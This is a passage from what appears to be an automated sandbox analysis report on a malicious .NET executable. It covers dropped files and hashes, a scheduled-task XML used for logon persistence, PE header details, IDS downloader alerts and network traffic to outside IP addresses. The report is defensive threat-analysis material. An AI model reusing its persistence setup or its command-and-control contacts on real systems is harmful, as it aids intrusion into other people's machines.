PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//ZLiUyus:lGLHyIFKL3IZ2KRH9Oug4Xs
MD5:	52F0904A64FC9155F29D06C831D2B472
SHA1:	4BCDB36C8C3D9DA459100EFC71147A2C9B8300CA
SHA-256:	35993186A4051DEFC81F2198AAEA784327C4E674279A2903FBBEBB25334BD79D
SHA-512:	7C6FC75ED4D3D84D4C83557EB99720BF1597A7092343C6B1506A518C8D12056D0566B94095559B4E2E689F171BD8043B4ACC38AABC097759F0ADFB63C1127585
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzpb1503.zrg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h142no2g.mzf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mx0phzgr.my4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w00ibzth.cxi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp760C.tmp

Download File

Process:	C:\Users\user\Desktop\2i3Lj7a8Gk.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.120160303700483
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaLxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTYv
MD5:	34BA105F394EA821C093241573B42FB4
SHA1:	B09D73825BF6F9049A8F2A9D01A0532C7D548F75
SHA-256:	CEAFC8D99EB61AE6D2575568021B7CFAAECC7E661D5F1F23CB40E11D1890AF5E
SHA-512:	3BAD0893D3EDB4E6C42B7EA271652E6835291202FF036992463DC23C3E44A1A2B3ACA34F3F025A639D588B097F66A8B36169B84F7A83905759536CC97D48F11F
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp8686.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1580
Entropy (8bit):	5.120160303700483
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaLxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTYv
MD5:	34BA105F394EA821C093241573B42FB4
SHA1:	B09D73825BF6F9049A8F2A9D01A0532C7D548F75
SHA-256:	CEAFC8D99EB61AE6D2575568021B7CFAAECC7E661D5F1F23CB40E11D1890AF5E
SHA-512:	3BAD0893D3EDB4E6C42B7EA271652E6835291202FF036992463DC23C3E44A1A2B3ACA34F3F025A639D588B097F66A8B36169B84F7A83905759536CC97D48F11F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Download File

Process:	C:\Users\user\Desktop\2i3Lj7a8Gk.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	823296
Entropy (8bit):	7.692389203049491
Encrypted:	false
SSDEEP:	12288:71ZF8K83T5BC9eA/7/GoC40zUi9d3hSvn6Q/tOz2L3pIzp/+TZwFIFIuh:7yZk7e40BdMf6eT+F/0Iuh
MD5:	4CF3E3AD3BBFAF2B2950F501466FEFB7
SHA1:	32A330BD302D266D201621AFA6B624A8E3AA6E04
SHA-256:	953B66B361820B31E028C6EAE7F14A8B57CA6DD231BAAE5045ABBAF7455AB6F3
SHA-512:	3D1C203C4A4B152DD93A975758CC49821FF7106CEF3D26A3F766AC4E36011CC4078CB28F706591B01142282092CEA966F38ED46DD8432F5D3035E4A812CF0DD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k.................0.............^.... ........@.. ....................................@.....................................O.......,............................d..p............................................ ............... ..H............text...d.... ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B................?.......H.......h...(.......(....;...(...........................................0..5........r...p(.....rk..p(.....r...p..A.....A...(.........+D...Y..r...p..A.....A...(......{....o.....o...............,.+......X...{..........-.........,......8.........(......X..r...p...A......A...(......r...p..(....(........{.....Y.........,..r...p(.....81............8.....r...p...A......A...(.......{....o......o......r9..p..(....(.......,...o.....(....+......,(.r[..p...........o....r...p(....(.....+

C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\2i3Lj7a8Gk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.692389203049491
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	2i3Lj7a8Gk.exe
File size:	823'296 bytes
MD5:	4cf3e3ad3bbfaf2b2950f501466fefb7
SHA1:	32a330bd302d266d201621afa6b624a8e3aa6e04
SHA256:	953b66b361820b31e028c6eae7f14a8b57ca6dd231baae5045abbaf7455ab6f3
SHA512:	3d1c203c4a4b152dd93a975758cc49821ff7106cef3d26a3f766ac4e36011cc4078cb28f706591b01142282092cea966f38ed46dd8432f5d3035e4a812cf0dd0
SSDEEP:	12288:71ZF8K83T5BC9eA/7/GoC40zUi9d3hSvn6Q/tOz2L3pIzp/+TZwFIFIuh:7yZk7e40BdMf6eT+F/0Iuh
TLSH:	4705DFC03B29B319DEB95A74D439DDB452B42D687010FAE62EDD3B97786D3109E08F82
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k.................0.............^.... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4ca35e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xD4D79B6B [Fri Feb 26 20:36:59 2083 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xca30b	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcc000	0x62c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xce000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc6418	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc8364	0xc8400	e8ffefdc168929f4df2e35e89d95e174	False	0.8655672109082397	data	7.700449083739961	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xcc000	0x62c	0x800	89024a8bedb563b57cab816160555b46	False	0.33935546875	data	3.4785637475731908	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xce000	0xc	0x200	36fa7ca219101abbbc504cf758322793	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xcc090	0x39c	data			0.41883116883116883
RT_MANIFEST	0xcc43c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T08:51:19.642490+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	132.226.247.73	80	TCP
2024-10-07T08:51:20.903264+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	132.226.247.73	80	TCP
2024-10-07T08:51:21.294932+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49736	188.114.96.3	443	TCP
2024-10-07T08:51:22.095609+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49737	132.226.247.73	80	TCP
2024-10-07T08:51:23.986288+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	132.226.247.73	80	TCP
2024-10-07T08:51:24.110935+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	443	TCP
2024-10-07T08:51:24.876852+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	132.226.247.73	80	TCP
2024-10-07T08:51:25.444864+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	188.114.96.3	443	TCP
2024-10-07T08:51:26.173750+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49748	132.226.247.73	80	TCP
2024-10-07T08:51:26.714920+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49750	188.114.96.3	443	TCP
2024-10-07T08:51:27.439405+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49752	132.226.247.73	80	TCP
2024-10-07T08:51:27.946696+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49753	188.114.96.3	443	TCP
2024-10-07T08:51:29.222035+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49757	188.114.96.3	443	TCP
2024-10-07T08:51:29.280345+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49758	188.114.96.3	443	TCP
2024-10-07T08:51:30.604522+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49762	188.114.96.3	443	TCP
2024-10-07T08:51:31.916052+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	443	TCP
2024-10-07T08:51:33.222156+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49769	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 08:51:18.693779945 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:18.698798895 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:18.698890924 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:18.699125051 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:18.703912973 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:19.363337994 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:19.387669086 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:19.392538071 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:19.601515055 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:19.642489910 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:19.684942007 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:19.684983969 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:19.685081959 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:19.695425987 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:19.695460081 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.179563999 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.179699898 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.207051039 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.207092047 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.207474947 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.251856089 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.353480101 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.395400047 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.465012074 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.465111971 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.465279102 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.471419096 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.480240107 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:20.485002995 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:20.684520006 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:20.686865091 CEST	49736	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.686892986 CEST	443	49736	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.686976910 CEST	49736	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.687289953 CEST	49736	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:20.687300920 CEST	443	49736	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:20.903207064 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:20.903264046 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:21.152023077 CEST	443	49736	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:21.155421019 CEST	49736	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:21.155431986 CEST	443	49736	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:21.294924974 CEST	443	49736	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:21.295012951 CEST	443	49736	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:21.295097113 CEST	49736	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:21.295620918 CEST	49736	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:21.298685074 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:21.302303076 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:21.303864002 CEST	80	49733	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:21.303917885 CEST	49733	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:21.307224989 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:21.307426929 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:21.307543993 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:21.312313080 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:21.989424944 CEST	80	49737	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:21.990865946 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:21.990891933 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:21.991166115 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:21.991414070 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:21.991425991 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:22.095608950 CEST	49737	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:22.460617065 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:22.465301991 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:22.465316057 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:22.775279045 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:22.775573015 CEST	443	49739	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:22.775628090 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:22.775923014 CEST	49739	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:22.780200958 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:22.785013914 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:22.785089970 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:22.785193920 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:22.789988995 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:23.051723957 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:23.056520939 CEST	80	49741	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:23.056652069 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:23.057079077 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:23.061805964 CEST	80	49741	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:23.468280077 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:23.469368935 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:23.469403028 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:23.469456911 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:23.470021963 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:23.470026970 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:23.517473936 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:23.730097055 CEST	80	49741	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:23.733705044 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:23.738574982 CEST	80	49741	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:23.939752102 CEST	80	49741	132.226.247.73	192.168.2.4
Oct 7, 2024 08:51:23.977214098 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:23.978785038 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:23.978811979 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:23.984726906 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:23.984760046 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:23.985054016 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:23.986288071 CEST	49741	80	192.168.2.4	132.226.247.73
Oct 7, 2024 08:51:23.990106106 CEST	49743	443	192.168.2.4	188.114.96.3
Oct 7, 2024 08:51:23.990118027 CEST	443	49743	188.114.96.3	192.168.2.4
Oct 7, 2024 08:51:24.110909939 CEST	443	49742	188.114.96.3	192.168.2.4
